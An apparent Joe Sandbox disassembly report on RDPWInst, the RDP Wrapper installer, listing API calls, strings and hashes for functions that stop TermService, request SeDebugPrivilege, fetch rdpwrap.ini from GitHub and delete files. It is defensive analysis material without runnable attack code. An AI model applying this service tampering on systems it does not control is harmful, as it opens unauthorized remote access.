VarNeg, xrefs: 00417D5D
VarNot, xrefs: 00417D73
VarI4FromStr, xrefs: 00417E65
VarAdd, xrefs: 00417D89
VarBstrFromBool, xrefs: 00417F15
VarMul, xrefs: 00417DB5
VarDateFromStr, xrefs: 00417EA7
VarCyFromStr, xrefs: 00417EBD
VarBoolFromStr, xrefs: 00417ED3
VarR4FromStr, xrefs: 00417E7B
VarBstrFromCy, xrefs: 00417EE9
VarAnd, xrefs: 00417E0D

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 1646373207-1918263038
Opcode ID: 81f6385aaf31a6d67a1cea20af38a948cd8301cfd12a13a567f36fd7be5fd1ef
Instruction ID: c99ab9519c0edb256345e3c1c1fceae5193512a11a1c4a98270a3cb03c9355dc
Opcode Fuzzy Hash: 81f6385aaf31a6d67a1cea20af38a948cd8301cfd12a13a567f36fd7be5fd1ef
Instruction Fuzzy Hash: 25412575A4C2085A5305AB6EB8018FA77B9DA86324374D07FF5088B745DF7CACC2876D

Function 0043AE28 Relevance: 35.1, APIs: 12, Strings: 8, Instructions: 140serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,ServicesActive,00000001,00000000,0043AFF3,?,?,?,00447324), ref: 0043AE85
GetLastError.KERNEL32(00000000,ServicesActive,00000001,00000000,0043AFF3,?,?,?,00447324), ref: 0043AE90
OpenServiceW.ADVAPI32(00000000,00000000,00000001,00000000,ServicesActive,00000001,00000000,0043AFF3,?,?,?,00447324), ref: 0043AED6
CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000001,00000000,ServicesActive,00000001,00000000,0043AFF3,?,?,?,00447324), ref: 0043AEE2
GetLastError.KERNEL32(00000000,00000000,00000000,00000001,00000000,ServicesActive,00000001,00000000,0043AFF3,?,?,?,00447324), ref: 0043AEE7

Strings

[*] Checking , xrefs: 0043AE56
$sD, xrefs: 0043AE51, 0043AE9D, 0043AEF4, 0043AF33, 0043AF94
ServicesActive, xrefs: 0043AE7E
..., xrefs: 0043AE68
[-] QueryServiceConfig failed., xrefs: 0043AF38
[-] OpenService error (code , xrefs: 0043AEF9
[-] OpenSCManager error (code , xrefs: 0043AEA2
[-] QueryServiceConfig error (code , xrefs: 0043AF99

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorLastOpenService$CloseHandleManager
String ID: $sD$...$ServicesActive$[*] Checking $[-] OpenSCManager error (code $[-] OpenService error (code $[-] QueryServiceConfig error (code $[-] QueryServiceConfig failed.
API String ID: 48634454-3812534468
Opcode ID: 091b0035d6a152c75cbcb3aeab795098a1a073895450a053807206380d0ec52c
Instruction ID: 7a774fc46d996de6837286bf894840c9c95f128f26b1d3a09438fbe6509dfab0
Opcode Fuzzy Hash: 091b0035d6a152c75cbcb3aeab795098a1a073895450a053807206380d0ec52c
Instruction Fuzzy Hash: 41418FA4A08200AAD711F7B68C42A5F76A99F88308F11917BB514B6293CB3CAD01967F

Function 0043F7A4 Relevance: 22.7, APIs: 2, Strings: 13, Instructions: 229sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0043C45C: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000200,00000000,0043C52D,?,00447324,?,0043F7DC,00000000,0043FAEE,?,?,?,00447324), ref: 0043C4F1

Part of subcall function 0043B7D4: OpenSCManagerW.ADVAPI32(00000000,ServicesActive,00000005,00000000,0043BC5D,?,?,?,00447324,00000000,00000000,?,00443F06,00000000,00443FB2), ref: 0043B801
Part of subcall function 0043B7D4: GetLastError.KERNEL32(00000000,ServicesActive,00000005,00000000,00000000,00000000,00000030,00000003,?,00000000,?,?,?,00000000), ref: 0043B80C
Part of subcall function 0043B7D4: EnumServicesStatusExW.ADVAPI32(00000000,00000000,00000030,00000003,?,00000000,?,?,?,00000000), ref: 0043B8A2
Part of subcall function 0043B7D4: GetLastError.KERNEL32(00000000,00000000,00000030,00000003,?,00000000,00000000,?,?,00000000,00000000), ref: 0043B8AF
Part of subcall function 0043B7D4: CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000030,00000003,?,00000000,00000000,?,?,00000000,00000000), ref: 0043B8BF
Part of subcall function 0043B7D4: CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000030,00000003,?,00000000,?,?,?,00000000), ref: 0043B99F

Part of subcall function 0043BF00: GetCurrentProcess.KERNEL32(00000028,?,00000000,0043C09E,?,?,00447324), ref: 0043BF3D
Part of subcall function 0043BF00: OpenProcessToken.ADVAPI32(00000000,00000028,?,00000000,0043C09E,?,?,00447324), ref: 0043BF43
Part of subcall function 0043BF00: GetLastError.KERNEL32(00000000,00000028,?,00000000,0043C09E,?,?,00447324), ref: 0043BF4C

Part of subcall function 0043C1C8: OpenProcess.KERNEL32(00000001,00000000,00001E94,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008,00000000,00000000), ref: 0043C1CF
Part of subcall function 0043C1C8: GetLastError.KERNEL32(00000001,00000000,00001E94,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008,00000000,00000000), ref: 0043C1DA
Part of subcall function 0043C1C8: TerminateProcess.KERNEL32(00000000,00000000,00000001,00000000,00001E94,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008,00000000), ref: 0043C219
Part of subcall function 0043C1C8: CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,00000000,00001E94,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008), ref: 0043C223
Part of subcall function 0043C1C8: GetLastError.KERNEL32(00000000,00000000,00000000,00000001,00000000,00001E94,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008), ref: 0043C228
Part of subcall function 0043C1C8: CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,00000000,00001E94,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008), ref: 0043C265

Sleep.KERNEL32(000003E8,?,?,00000000,0043FAEE,?,?,?,00447324), ref: 0043F9CC
Sleep.KERNEL32(000001F4,000003E8,?,?,00000000,0043FAEE,?,?,?,00447324), ref: 0043FA09

Part of subcall function 0043B58C: OpenSCManagerW.ADVAPI32(00000000,ServicesActive,00000001,00000000,0043B6CE,?,00000000), ref: 0043B5EA
Part of subcall function 0043B58C: GetLastError.KERNEL32(?,00000000,ServicesActive,00000001,00000000,0043B6CE,?,00000000), ref: 0043B5F9

Strings

$sD, xrefs: 0043F86A, 0043F895, 0043F92B, 0043F952, 0043F97C, 0043F99A, 0043FA8A, 0043FAA5
SeDebugPrivilege, xrefs: 0043F9B3
[*] Current update date: , xrefs: 0043F86F
[+] New update is available, updating..., xrefs: 0043F981
[*] Terminating service..., xrefs: 0043F99F
[*] Everything is up to date., xrefs: 0043F957
[*] Latest update date: , xrefs: 0043F930
%d.%.2d.%.2d, xrefs: 0043F85C, 0043F91D
[*] Your INI file is newer than public file. Are you a developer? :), xrefs: 0043FAAA
[+] Update completed., xrefs: 0043FA8F
TermService, xrefs: 0043FA80
rdpwrap.ini, xrefs: 0043F7ED
[-] Failed to download latest INI from GitHub., xrefs: 0043F89A

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorLast$CloseHandleOpenProcess$ManagerServiceSleep$CurrentEnumEnvironmentExpandServicesStatusStringsTerminateToken
String ID: $sD$%d.%.2d.%.2d$SeDebugPrivilege$TermService$[*] Current update date: $[*] Everything is up to date.$[*] Latest update date: $[*] Terminating service...$[*] Your INI file is newer than public file. Are you a developer? :)$[+] New update is available, updating...$[+] Update completed.$[-] Failed to download latest INI from GitHub.$rdpwrap.ini
API String ID: 3534747103-2332903941
Opcode ID: 5622ae87d0b029e3d159e39c34d23c7b577837b013ae26526cbfe9c4d1771b2e
Instruction ID: 35adde3c6c2359a68fd4b220f91aa0339034fd12c6c7055d874297ef65b27e77
Opcode Fuzzy Hash: 5622ae87d0b029e3d159e39c34d23c7b577837b013ae26526cbfe9c4d1771b2e
Instruction Fuzzy Hash: D5813074E042099BDB04FBA9D48169DB7B1EF8D308F51507AF504F7392DB38AD058B6A

Function 0043D938 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 141fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0043C45C: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000200,00000000,0043C52D,?,00447324,?,0043F7DC,00000000,0043FAEE,?,?,?,00447324), ref: 0043C4F1

DeleteFileW.KERNEL32(00000000,00000000,0043DB1F,?,00447324,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00443DA0,000003E8), ref: 0043D985
GetLastError.KERNEL32(00000000,00000000,0043DB1F,?,00447324,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00443DA0,000003E8), ref: 0043D98E
DeleteFileW.KERNEL32(00000000,00000000,00000000,0043DB1F,?,00447324,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00443DA0), ref: 0043DA04
GetLastError.KERNEL32(00000000,00000000,00000000,0043DB1F,?,00447324,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00443DA0), ref: 0043DA0D

Strings

$sD, xrefs: 0043D99B, 0043D9C8, 0043DA1A, 0043DA47, 0043DA9F, 0043DAE5
[-] RemoveDirectory error (code , xrefs: 0043DAA4
[+] Removed folder: , xrefs: 0043DAEA
[-] DeleteFile error (code , xrefs: 0043D9A0, 0043DA1F
rdpwrap.ini, xrefs: 0043D96F, 0043D9DB
[+] Removed file: , xrefs: 0043D9CD, 0043DA4C

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: DeleteErrorFileLast$EnvironmentExpandStrings
String ID: $sD$[+] Removed file: $[+] Removed folder: $[-] DeleteFile error (code $[-] RemoveDirectory error (code $rdpwrap.ini
API String ID: 1427661212-4281953003
Opcode ID: 956330302bce8ffae5f1d8e764e19dadb3842e9c2b8f573e08a3f0797d5542d8
Instruction ID: ad05ad182a3b94ca814d20fd028ad2e32e4b81082960bb03fd6afff070a44f54
Opcode Fuzzy Hash: 956330302bce8ffae5f1d8e764e19dadb3842e9c2b8f573e08a3f0797d5542d8
Instruction Fuzzy Hash: 31414F74A042049BDB00F7B6D94286EB375AF8D308F52813BF500B7697DA3CBD059A6E

Function 0041344C Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 97filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0041325C: VirtualQuery.KERNEL32(?,?,0000001C,00000000,00413408), ref: 0041328F
Part of subcall function 0041325C: GetModuleFileNameW.KERNEL32(?,?,00000105), ref: 004132B3
Part of subcall function 0041325C: GetModuleFileNameW.KERNEL32(00400000,?,00000105), ref: 004132CE
Part of subcall function 0041325C: LoadStringW.USER32(00000000,0000FFE5,?,00000100), ref: 00413369

WideCharToMultiByte.KERNEL32(00000001,00000000,?,00000000,00000000,00000000,00000000,00000000,00000400,00000000,00413571), ref: 004134AD
WideCharToMultiByte.KERNEL32(00000001,00000000,?,00000000,?,00000000,00000000,00000000), ref: 004134E0
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,00000001,00000000,?,00000000,?,00000000,00000000,00000000), ref: 004134F2
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,00000001,00000000,?,00000000,?,00000000,00000000,00000000), ref: 004134F8
GetStdHandle.KERNEL32(000000F4,0041358C,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,00000001,00000000,?,00000000,?), ref: 0041350C
WriteFile.KERNEL32(00000000,000000F4,0041358C,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,00000001,00000000,?,00000000), ref: 00413512
LoadStringW.USER32(00000000,0000FFE6,?,00000040), ref: 00413536
MessageBoxW.USER32(00000000,?,?,00002010), ref: 00413550

Strings

$sD, xrefs: 0041348A
(4A, xrefs: 004134BD, 00413565
LpD, xrefs: 0041347C

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: File$ByteCharHandleLoadModuleMultiNameStringWideWrite$MessageQueryVirtual
String ID: $sD$(4A$LpD
API String ID: 135118572-2961882766
Opcode ID: b1b80ecb5956461e4b881ed504ca6201c56dd4012f9b0e7eae4b86507d2a61a1
Instruction ID: ef224b53181cf2408eecbf6e4a49f74db113686e973540ee16aa2e1e81a8a81f
Opcode Fuzzy Hash: b1b80ecb5956461e4b881ed504ca6201c56dd4012f9b0e7eae4b86507d2a61a1
Instruction Fuzzy Hash: E4315E71640204BEE710EBA5DC82FDA73BDEB05B05F50417AB604F61D1DE78AE808B69

Function 00409E82 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 183libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?), ref: 00409F3F
GetLastError.KERNEL32(?), ref: 00409F4A
RaiseException.KERNEL32(C0FB007E,00000000,00000001,?), ref: 00409F80
EnterCriticalSection.KERNEL32(00449C1C), ref: 00409F92
FreeLibrary.KERNEL32(?,00449C1C), ref: 00409FAA
LeaveCriticalSection.KERNEL32(00449C1C,?,00449C1C), ref: 00409FB7
GetProcAddress.KERNEL32(?,?), ref: 0040A026
GetLastError.KERNEL32 ref: 0040A031
RaiseException.KERNEL32(C0FB007F,00000000,00000001,?), ref: 0040A067

Part of subcall function 00409D9C: LocalAlloc.KERNEL32(00000040,00000008), ref: 00409DA8
Part of subcall function 00409D9C: RaiseException.KERNEL32(C0FB0008,00000000,00000001,?,00000040,00000008), ref: 00409DBD

Strings

$, xrefs: 00409E9E

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ExceptionRaise$CriticalErrorLastLibrarySection$AddressAllocEnterFreeLeaveLoadLocalProc
String ID: $
API String ID: 4255670546-3993045852
Opcode ID: 08a0a7318c753487ffaddfe208f10df44aed4acf1db62cc8abab006cc3ed4991
Instruction ID: e7bef61209e92d946731ec4a4071e7a79c0b4aa0f4738c46576ebf8cfa3b661b
Opcode Fuzzy Hash: 08a0a7318c753487ffaddfe208f10df44aed4acf1db62cc8abab006cc3ed4991
Instruction Fuzzy Hash: EE618D7590070AAFDB21DFA5D885BAFB3B4AF48314F14803AE504B62D2D7789D44CB59

Function 00403B64 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 277windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,?,004026E0,00002010), ref: 00403F39

Strings

l&@, xrefs: 00403EA7, 00403EB5
7, xrefs: 00403CDC
, xrefs: 00403E72
$zD, xrefs: 00403C43
$zD, xrefs: 00403BB6
&@, xrefs: 00403F2A
D&@, xrefs: 00403D42, 00403D50
zPD, xrefs: 00403CE6

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Message
String ID: $$zD$$zD$7$D&@$l&@$zPD$&@
API String ID: 2030045667-2939321579
Opcode ID: fc4d6aa325ebee328d8d0a4eacd8edc52d624fa8d19bb34694b2db134725d9d3
Instruction ID: 997706f527e00cc568bc624ae0a330c29571725258f71f9dd8560831bc4d878f
Opcode Fuzzy Hash: fc4d6aa325ebee328d8d0a4eacd8edc52d624fa8d19bb34694b2db134725d9d3
Instruction Fuzzy Hash: E5B1B434A042548FDB20DF2DC884B997BE8AB09745F1441FAE449F7382CB799E85CB59

Function 00415198 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 203threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,00415476,?,?,00000000,00000000), ref: 004151CE

Part of subcall function 00412C4C: GetLocaleInfoW.KERNEL32(?,?,?,00000100), ref: 00412C6A

Strings

AMPM , xrefs: 00415401
mmmm d, yyyy, xrefs: 004152D3
:mm, xrefs: 00415411
AMPM, xrefs: 004153F2
:mm:ss, xrefs: 0041542E
m/d/yy, xrefs: 004152A6

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: 4a29d05eb48406c99d8d70e3cc1c652b0ba952fed9bde6c231d4620e19fd4c29
Instruction ID: d9a4c13083f090c9220c38b115c8470d0dd0b24888f81dbd48f38483d2476b95
Opcode Fuzzy Hash: 4a29d05eb48406c99d8d70e3cc1c652b0ba952fed9bde6c231d4620e19fd4c29
Instruction Fuzzy Hash: C6717E34B005489BDB04EBA5C881BDF73A6DB88308F50843BB201EB39ADA3DDD95975C

Function 0041983C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 004198D5
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 004198F1
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 0041992A
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 004199A7
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 004199C0
VariantCopy.OLEAUT32(?), ref: 004199F5

Strings

, xrefs: 00419856

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-3916222277
Opcode ID: 73a745a2ba0fcdb29b417b5ebc4a60c480dc22ae13af212b94654390cab902c0
Instruction ID: 05f3e7187411a66581312748be8f4c599b64c7f757b61d9c7bcf5be2e84cfcbc
Opcode Fuzzy Hash: 73a745a2ba0fcdb29b417b5ebc4a60c480dc22ae13af212b94654390cab902c0
Instruction Fuzzy Hash: BB510E75A1061D9BCB62DB59CC91AD9B3BCAF0C314F0041DAE509D7311DA389FC18F69

Function 00406190 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000), ref: 004061C9
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283), ref: 004061CF
GetStdHandle.KERNEL32(000000F5,0040621C,00000002,0000D7B2,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C), ref: 004061E4
WriteFile.KERNEL32(00000000,000000F5,0040621C,00000002,0000D7B2,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000), ref: 004061EA
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 00406208

Strings

Runtime error at 00000000, xrefs: 004061C2, 00406201
Error, xrefs: 004061FC

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: c76f607bb4b5e88e0da518b266601389a2190e5d150480926aab9b651256bb34
Instruction ID: 3d9f27a079d1a1e85d20769b70378e11af8d5357eb747b9bac5a8d01f7cd0a80
Opcode Fuzzy Hash: c76f607bb4b5e88e0da518b266601389a2190e5d150480926aab9b651256bb34
Instruction Fuzzy Hash: F8F09064688700B9FA1077A09D8BF5A264C5741F18F648A7FBA107C0E3C7FC44C5D66E

Function 00403220 Relevance: 10.9, APIs: 7, Instructions: 407COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1796118654.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796193785.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796216870.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796232031.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796269619.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc7e807bea1f66438189088f752b6e292b8bc82f638beb9f71fc88f2eaf7a259
Instruction ID: cdb4153b94d32a19bbaa749183bbd41ea1cad44ce1b02117721c392bcbf59f8f
